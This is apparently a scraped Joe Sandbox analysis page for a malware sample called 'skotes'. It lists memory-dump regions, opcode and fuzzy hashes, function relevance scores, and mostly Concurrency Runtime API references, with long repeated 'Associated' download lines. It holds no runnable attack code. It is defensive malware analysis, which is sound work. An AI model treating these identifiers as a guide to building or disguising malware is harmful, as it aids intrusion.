Associated: 00000006.00000002.3726794979.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 403d4235b0da6f31748ecbae09d279f555cf8b15e198b824251573fda589a65d
Instruction ID: 6aa1e650cda1532aecb300e78e12e6112b54f827bbd857a7cbeb3ab52064d85c
Opcode Fuzzy Hash: 403d4235b0da6f31748ecbae09d279f555cf8b15e198b824251573fda589a65d
Instruction Fuzzy Hash: 5FD0923204010DBFEF129F84DD02EDA3BAAFB88714F015100BF1866060C772E831AB94

Function 04E20D57 Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3753618354.0000000004E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 04E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4e20000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 71edf1c6659457fbb2f0dc68493f8cadabd8b5deedce463abad00c252c7aa48d
Instruction ID: 41a9ddaac03378dafa637f609283636b64fce709b009018479393b25b91c177f
Opcode Fuzzy Hash: 71edf1c6659457fbb2f0dc68493f8cadabd8b5deedce463abad00c252c7aa48d
Instruction Fuzzy Hash: 012178B350C2E4AEDB4246645A114FA7F79AF8373072494EBE942CB497E3540449E372

Function 04E20D4E Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3753618354.0000000004E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 04E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4e20000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 56a32ef51d2f0ccffa2e2884cb43f0c80fd1820fab7939b954cd43c11fef7ccf
Instruction ID: a54b3a5363e1aa6250da4926957bee7cf461021c256905decf612c20f44ebf6e
Opcode Fuzzy Hash: 56a32ef51d2f0ccffa2e2884cb43f0c80fd1820fab7939b954cd43c11fef7ccf
Instruction Fuzzy Hash: 841138B724D2A4BED68246906B10AF67F2DA7827307309497F903CB0D3E3941548A2B2

Function 04E20D97 Relevance: .1, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3753618354.0000000004E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 04E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4e20000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80ce4e695fb9cd82032474035d5e1b18c553cb82a9b7c4c7c3e8d4089e57d643
Instruction ID: f2280e3843a7fbf3a16727eea00969e2dfb9cdedbaf23bbef30d4a47841b2b69
Opcode Fuzzy Hash: 80ce4e695fb9cd82032474035d5e1b18c553cb82a9b7c4c7c3e8d4089e57d643
Instruction Fuzzy Hash: 71119CF354C2A4AEDB8242556B119F67F2EAB827303308097F902CB4D3E3690548E2B2

Function 04E20DA0 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3753618354.0000000004E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 04E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4e20000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae4ca6da9c0169a06b83986b4ceda213aba8592b5d70300a611dd17777720596
Instruction ID: af09d3873ac445ab53d2dc59a3fa98b7b813a237e77b5ac2cbd83f0b715c80d7
Opcode Fuzzy Hash: ae4ca6da9c0169a06b83986b4ceda213aba8592b5d70300a611dd17777720596
Instruction Fuzzy Hash: F0115CB754C294BDDA8346646B109F67F2DEB827303348497F542CB483E3550548A272

Function 04E20E26 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3753618354.0000000004E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 04E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4e20000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1e8ea1484d3ca20c6a988fca129566e1ba89eda64aeae94e4ce60008ebcd9b7a
Instruction ID: 5e767cac76b434c1529bd5181e81f433f08d4fcc4c8b8b4170b84b07fdba625d
Opcode Fuzzy Hash: 1e8ea1484d3ca20c6a988fca129566e1ba89eda64aeae94e4ce60008ebcd9b7a
Instruction Fuzzy Hash: 3D014CB754C1A0AED68285512B556F6BF2DF7C2730331949BF843D7496F3490988F1B2

Function 04E20DCC Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3753618354.0000000004E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 04E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4e20000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f9b03e65bf375b2abb3dbc2358d54b021ee43caa66569c03d57a3e2d333cb135
Instruction ID: 8f42917825204d6e10f82a17d3eda19dcecc2a3949ecceedf2968205cb0b9832
Opcode Fuzzy Hash: f9b03e65bf375b2abb3dbc2358d54b021ee43caa66569c03d57a3e2d333cb135
Instruction Fuzzy Hash: 7AF08CE728C130AEE8C141412B19AF6AA2EE2C2630330D417F543C1986A3882A98B032

Function 04E20E5D Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3753618354.0000000004E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 04E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4e20000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d7d5c1ed01fa825c6331034021a74688bf9ed8a0b0decf5d43b35d605b3cc14
Instruction ID: 73ae22f5fd8493f6bfa4b29b3eba98f1703f4b326b2a4a318a13d112a6d016e9
Opcode Fuzzy Hash: 6d7d5c1ed01fa825c6331034021a74688bf9ed8a0b0decf5d43b35d605b3cc14
Instruction Fuzzy Hash: 50E06857A8C5708ECAD1486067A42F76F007B916303347987C293CD0C0F20868CAB6A1

Function 04E20E43 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3753618354.0000000004E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 04E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4e20000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c0c9cf85097cec4663f7266b3ba5ec6afba20af2feaeef371dbbbf24eb560689
Instruction ID: 00432632e18274b9a1c8cd8d8dd30ab12cfae936c543127935cbba8c5703801a
Opcode Fuzzy Hash: c0c9cf85097cec4663f7266b3ba5ec6afba20af2feaeef371dbbbf24eb560689
Instruction Fuzzy Hash: 25D02B67748118DBCD90152027583B377B437507113602551E1C28B0C0D2B51089F550

Non-executed Functions

Function 005D0E13 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 284COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 005D0F16
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 005D0F62

Part of subcall function 005D265D: Concurrency::details::GlobalCore::Initialize.LIBCONCRT ref: 005D2750

Concurrency::details::ResourceManager::AffinityRestriction::FindGroupAffinity.LIBCONCRT ref: 005D0FCE
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 005D0FEA
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 005D103E
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 005D106B
Concurrency::details::ResourceManager::CleanupTopologyInformation.LIBCMT ref: 005D10C1

Strings

(, xrefs: 005D0F22

Memory Dump Source

Source File: 00000006.00000002.3721494550.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000006.00000002.3721322096.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721494550.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721893468.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721989743.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722082421.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722609435.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722701630.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722959785.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723022847.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723117146.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723206062.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723356358.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723399105.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723485971.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723556655.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723649094.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723739456.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723839179.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723930453.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724048527.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724143125.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724234989.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724358463.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724502159.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724542752.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724621887.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724695871.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724789373.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724860324.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724954408.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725026065.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725122166.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725217523.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725281644.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725373883.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725469857.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725541269.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725638458.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725706337.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725832417.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725925729.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726075575.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726394394.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726465773.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726560678.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726629525.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726699247.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726794979.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$GlobalInitialize$Node::$AffinityManager::Resource$CleanupCore::FindGroupInformationRestriction::Topology
String ID: (
API String ID: 2943730970-3887548279
Opcode ID: 84887a7017d9843e68cbd1fa67a89d920098acbd0773d8c4986e2dd6b1a4f67c
Instruction ID: 7283923e6b4bb5cd4efe155cafd8b72e34bd5c62fcefa65fda55939650b93996
Opcode Fuzzy Hash: 84887a7017d9843e68cbd1fa67a89d920098acbd0773d8c4986e2dd6b1a4f67c
Instruction Fuzzy Hash: 0FB15D70A00616EFDB28DF68D995B79BBB5FF84300F14916FE505AB381D730A981CB94

Function 005D1602 Relevance: 13.7, APIs: 9, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 005D2CFC: Concurrency::details::ResourceManager::InitializeRMBuffers.LIBCMT ref: 005D2D0F

Concurrency::details::ResourceManager::PreProcessDynamicAllocationData.LIBCONCRT ref: 005D1614

Part of subcall function 005D2E0F: Concurrency::details::ResourceManager::HandleBorrowedCores.LIBCONCRT ref: 005D2E39
Part of subcall function 005D2E0F: Concurrency::details::ResourceManager::HandleSharedCores.LIBCONCRT ref: 005D2EA8

Concurrency::details::ResourceManager::IncreaseFullyLoadedSchedulerAllocations.LIBCMT ref: 005D1746
Concurrency::details::ResourceManager::AdjustDynamicAllocation.LIBCONCRT ref: 005D17A6
Concurrency::details::ResourceManager::PrepareReceiversForCoreTransfer.LIBCMT ref: 005D17B2
Concurrency::details::ResourceManager::DistributeExclusiveCores.LIBCONCRT ref: 005D17ED
Concurrency::details::ResourceManager::AdjustDynamicAllocation.LIBCONCRT ref: 005D180E
Concurrency::details::ResourceManager::PrepareReceiversForCoreTransfer.LIBCMT ref: 005D181A
Concurrency::details::ResourceManager::DistributeIdleCores.LIBCONCRT ref: 005D1823
Concurrency::details::ResourceManager::ResetGlobalAllocationData.LIBCMT ref: 005D183B

Memory Dump Source

Source File: 00000006.00000002.3721494550.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000006.00000002.3721322096.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721494550.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721893468.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721989743.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722082421.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722609435.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722701630.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722959785.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723022847.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723117146.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723206062.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723356358.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723399105.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723485971.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723556655.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723649094.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723739456.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723839179.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723930453.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724048527.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724143125.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724234989.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724358463.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724502159.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724542752.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724621887.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724695871.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724789373.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724860324.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724954408.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725026065.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725122166.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725217523.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725281644.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725373883.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725469857.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725541269.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725638458.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725706337.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725832417.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725925729.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726075575.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726394394.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726465773.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726560678.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726629525.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726699247.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726794979.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Manager::Resource$AllocationCores$Dynamic$AdjustCoreDataDistributeHandlePrepareReceiversTransfer$AllocationsBorrowedBuffersExclusiveFullyGlobalIdleIncreaseInitializeLoadedProcessResetSchedulerShared
String ID:
API String ID: 2508902052-0
Opcode ID: aa9f8f36a8b7b44e1180d435f458fb72d8e9ffd861c0e8264618b64b20c70f21
Instruction ID: b0302bee9d4c56bd475d130beac7ef5a9c22f7a0b564a761a8a9f031e10fd5a4
Opcode Fuzzy Hash: aa9f8f36a8b7b44e1180d435f458fb72d8e9ffd861c0e8264618b64b20c70f21
Instruction Fuzzy Hash: 00814C71A00625AFCB28CF6CC584A6DBBB1FF88304B1545AFE445AB711C770ED52CB88

Function 005DEC48 Relevance: 6.1, APIs: 4, Instructions: 139COMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 005DEC81

Part of subcall function 005D8F2F: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 005D8F50

Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 005DECE7
Concurrency::details::WorkItem::ResolveToken.LIBCONCRT ref: 005DECFF
Concurrency::details::WorkItem::BindTo.LIBCONCRT ref: 005DED0C

Part of subcall function 005DE7AF: Concurrency::details::InternalContextBase::ReclaimVirtualProcessor.LIBCONCRT ref: 005DE7D7
Part of subcall function 005DE7AF: Concurrency::details::SchedulerBase::TriggerCommitSafePoints.LIBCMT ref: 005DE86F
Part of subcall function 005DE7AF: Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 005DE879
Part of subcall function 005DE7AF: Concurrency::location::_Assign.LIBCMT ref: 005DE8AD
Part of subcall function 005DE7AF: Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 005DE8B5

Memory Dump Source

Source File: 00000006.00000002.3721494550.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000006.00000002.3721322096.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721494550.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721893468.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721989743.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722082421.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722609435.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722701630.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722959785.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723022847.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723117146.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723206062.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723356358.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723399105.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723485971.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723556655.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723649094.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723739456.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723839179.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723930453.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724048527.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724143125.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724234989.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724358463.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724502159.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724542752.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724621887.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724695871.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724789373.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724860324.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724954408.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725026065.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725122166.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725217523.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725281644.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725373883.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725469857.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725541269.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725638458.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725706337.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725832417.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725925729.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726075575.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726394394.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726465773.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726560678.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726629525.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726699247.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726794979.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::Context$Scheduler$EventInternalItem::ProcessorVirtualWork$ActiveAssignBindCommitConcurrency::location::_GroupPointsReclaimResolveRunnableSafeScheduleSegmentThrowTokenTraceTrigger
String ID:
API String ID: 2363638799-0
Opcode ID: 47a43a3bd065d79179e490028471a88a8c9856c0bdb708aedc19bcf66b88bb0b
Instruction ID: 9ee563d650a71ccf5ef886f7acf777d8f60dbcb7720d13f249d9c9aced6dad8c
Opcode Fuzzy Hash: 47a43a3bd065d79179e490028471a88a8c9856c0bdb708aedc19bcf66b88bb0b
Instruction Fuzzy Hash: 2D516231A002059BDF25FF54C85AFADBB76BF84310F14446EE9066B396CB70AE05CBA1

Function 005CCB97 Relevance: 1.5, APIs: 1, Instructions: 9nativeCOMMON

Download Yara Rule

APIs

NtFlushProcessWriteBuffers.NTDLL ref: 005CCBAA

Memory Dump Source

Source File: 00000006.00000002.3721494550.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000006.00000002.3721322096.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721494550.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721893468.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721989743.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722082421.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722609435.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722701630.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
